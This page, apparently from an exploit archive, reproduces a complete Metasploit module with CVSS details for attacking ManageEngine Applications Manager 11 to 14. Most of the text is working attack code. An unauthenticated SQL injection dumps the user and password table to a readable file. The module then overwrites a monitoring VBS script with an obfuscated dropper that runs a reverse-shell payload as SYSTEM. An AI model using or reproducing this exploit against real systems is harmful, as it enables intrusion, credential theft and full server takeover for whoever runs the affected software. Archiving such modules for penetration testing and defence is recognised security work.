ManageEngine Applications Manager 11.0 < 14.0 SQL Injection / Remote Code Execution (Metasploit)
CVE
Category
Price
Severity
N/A
CWE-89:Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
N/A
Critical
Author
Risk
Exploitation Type
Date
Metasploit
High
Remote
2019-04-23
CPE
cpe:cpe:/a:manageengine:applications_manager:11.0
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019040211 Below is a copy:
ManageEngine Applications Manager 11.0 < 14.0 SQL Injection / Remote Code Execution (Metasploit) ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => "ManageEngine Applications Manager 11.0 < 14.0 SQL Injection / Remote Code Execution",
'Description' => %q(
This module exploits sql and command injection vulnerability in the ManageEngine AM 14 and prior versions.
An unauthenticated user can gain the authority of "system" on the server due to SQL injection vulnerability.
Exploit allows the writing of the desired file to the system using the postgesql structure.
Module is written over the payload by selecting a file with the extension ".vbs" that is used for monitoring
by the ManageEngine which working with "system" authority.
In addition, it dumps the users and passwords from the database for us.
Keep in mind! After the harmful ".vbs" file is written, the shell session may be a bit late.
Because the ManageEngine application should run this file itself.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <zkan Mustafa Akku>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/ManageEngine-App-Manager-14-SQLi-Remote-Code-Execution.html']
],
'DefaultOptions' =>
{
'WfsDelay' => 500,
'PAYLOAD' => 'windows/shell_reverse_tcp',
'RPORT' => 8443,
'SSL' => true
},
'Payload' =>
{
'Encoder' => 'x86/shikata_ga_nai'
},
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['AppManager 14', {}],
['AppManager 13', {}],
['AppManager 12', {}],
['AppManager 11', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 17 2019',
'DefaultTarget' => 1))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
]
)
end
##
# Check exploit vulnerability basically // 'Appears' more convenient
##
def check
res = inject(Rex::Text.rand_text_alpha(1))
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
##
# VBS payload and Post Data preparation
##
def get_payload
handler
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
## determining the target directory
if target.name == 'AppManager 14'
tfile = "AppManager14"
elsif target.name == 'AppManager 13'
tfile = "AppManager13"
elsif target.name == 'AppManager 12'
tfile = "AppManager12"
elsif target.name == 'AppManager 11'
tfile = "AppManager11"
end
fhashes = Rex::Text.rand_text_alpha_lower(8) + ".txt"
## parameters required to read the user table
hashes = "sid=1;copy+(select+username,password+from+AM_UserPasswordTable)+to+$$"
hashes << "c:\\Program+Files+(x86)\\ManageEngine\\"
hashes << "#{tfile}"
hashes << "\\working\\"
hashes << "#{fhashes}"
hashes << "$$;--"
res = inject("#{hashes}")
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
print_good("Users in the database were taken...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{fhashes}") # users file url
})
if res.code == "404"
fail_with(Failure::Unreachable, 'The database could not be read!')
else
print_status("--------------------Usernames and Passwords---------------------")
puts res.body # users table output
print_status("----------------------------------------------------------------")
end
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
## fetch base64 part in vbs payload
pb64 = @vbs_content.split('"
Dim')[0].split(' = "')[2]
## vbs file in one line
vbs_file = 'On Error Resume Next:Set objWbemLocator = CreateObject("WbemScripting.SWbemLocator"):'
vbs_file << 'if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description:End If:O'
vbs_file << 'n Error GoTo 0:On Error Resume Next:Select Case WScript.Arguments.Count:Case 2:strCo'
vbs_file << 'mputer = Wscript.Arguments(0):strQuery = Wscript.Arguments(1):Set wbemServices = obj'
vbs_file << 'WbemLocator.ConnectServer (strComputer,"Root\\CIMV2"):Case 4:strComputer = Wscript.A'
vbs_file << 'rguments(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):st'
vbs_file << 'rQuery = Wscript.Arguments(3):Set wbemServices = objWbemLocator.ConnectServer (strCo'
vbs_file << 'mputer,"Root\\CIMV2",strUsername,strPassword):case 6:strComputer = Wscript.Arguments'
vbs_file << '(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):strQuery ='
vbs_file << ' Wscript.Arguments(4):namespace = Wscript.Arguments(5):Set wbemServices = objWbemLoca'
vbs_file << 'tor.ConnectServer (strComputer,namespace,strUsername,strPassword):Case Else:strMsg ='
vbs_file << ' "Error # in parameters passed":WScript.Echo strMsg:WScript.Quit(0):End Select:Set w'
vbs_file << 'bemServices = objWbemLocator.ConnectServer (strComputer, namespace, strUsername, str'
vbs_file << 'Password):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Descriptio'
vbs_file << 'n:End If:On Error GoTo 0:On Error Resume Next:Set colItems = wbemServices.ExecQuery(s'
vbs_file << 'trQuery):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description'
vbs_file << ':End If:On Error GoTo 0:i=0:For Each objItem in colItems:if i=0 then:header = "":For '
vbs_file << 'Each param in objItem.Properties_:header = header & param.Name & vbTab:Next:WScript.E'
vbs_file << 'cho header:i=1:end if:serviceData = "":For Each param in objItem.Properties_:serviceD'
vbs_file << 'ata = serviceData & param.Value & vbTab:Next:WScript.Echo serviceData:Next:Function b'
vbs_file << 'PBdVfYpfCEHF(hBPVZMitxq):HHgwqsqii = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-m'
vbs_file << 'icrosoft-com:datatypes" & Chr(34) & " " & "dt:dt=" & Chr(34) & "bin.base64" & Chr(34)'
vbs_file << ' & ">" & hBPVZMitxq & "</B64DECODE>":Set TInPBSeVlL = CreateObject("MSXML2.DOMDocument'
vbs_file << '.3.0"):TInPBSeVlL.LoadXML(HHgwqsqii):bPBdVfYpfCEHF = TInPBSeVlL.selectsinglenode("B64D'
vbs_file << 'ECODE").nodeTypedValue:set TInPBSeVlL = nothing:End Function:Function txhYXYJJl():Emkf'
vbs_file << 'dMDdusgGha = "'
vbs_file << "#{pb64}"
vbs_file << '":Dim CCEUdwNSS:Set CCEUdwNSS = CreateObject("Scripting.FileSystemObject"):Dim zhgqIZn'
vbs_file << 'K:Dim gnnTqZvAcL:Set zhgqIZnK = CCEUdwNSS.GetSpecialFolder(2):gnnTqZvAcL = zhgqIZnK & '
vbs_file << '"\" & CCEUdwNSS.GetTempName():CCEUdwNSS.CreateFolder(gnnTqZvAcL):yZUoLXnPic = gnnTqZvAc'
vbs_file << 'L & "\" & "SAEeVSXQVkDEIG.exe":Dim mEciydMZTsoBmAo:Set mEciydMZTsoBmAo = CreateObject("'
vbs_file << 'Wscript.Shell"):LXbjZKnEQUfaS = bPBdVfYpfCEHF(EmkfdMDdusgGha):Set TUCiiidRgJQdxTl = Cre'
vbs_file << 'ateObject("ADODB.Stream"):TUCiiidRgJQdxTl.Type = 1:TUCiiidRgJQdxTl.Open:TUCiiidRgJQdxT'
vbs_file << 'l.Write LXbjZKnEQUfaS:TUCiiidRgJQdxTl.SaveToFile yZUoLXnPic, 2:mEciydMZTsoBmAo.run yZU'
vbs_file << 'oLXnPic, 0, true:CCEUdwNSS.DeleteFile(yZUoLXnPic):CCEUdwNSS.DeleteFolder(gnnTqZvAcL):E'
vbs_file << 'nd Function:txhYXYJJl:WScript.Quit(0)'
## encode the vbs file to base64 and then encode the url-hex
encoding_vbs = Rex::Text.uri_encode(Rex::Text.encode_base64(vbs_file), 'hex-all')
## post preparation // creating and writing files on the server with SQLi
vbs_payload = "sid=1;copy+(select+convert_from(decode($$#{encoding_vbs}$$,$$base64$$)"
vbs_payload << ",$$utf-8$$))+to+$$C:\\\\Program+Files+(x86)\\\\ManageEngine\\\\"
vbs_payload << "#{tfile}"
vbs_payload << "\\\\working\\\\conf\\\\application\\\\scripts\\\\wmiget.vbs$$;"
res = inject("#{vbs_payload}")
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
print_good("The harmful .vbs file was successfully written to the server.")
print_status("Keep in mind! You may have to wait between 10-300 seconds for the shell session.")
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
return payload
end
##
# Call functions
##
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
print_status("Payload is preparing...")
get_payload
end
##
# Inj payload
##
def inject(payload)
res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, '/jsp/Popup_SLA.jsp'),
'data' => payload
}, 25)
end
end
##
# The end of the adventure (o_O) // AkkuS
##
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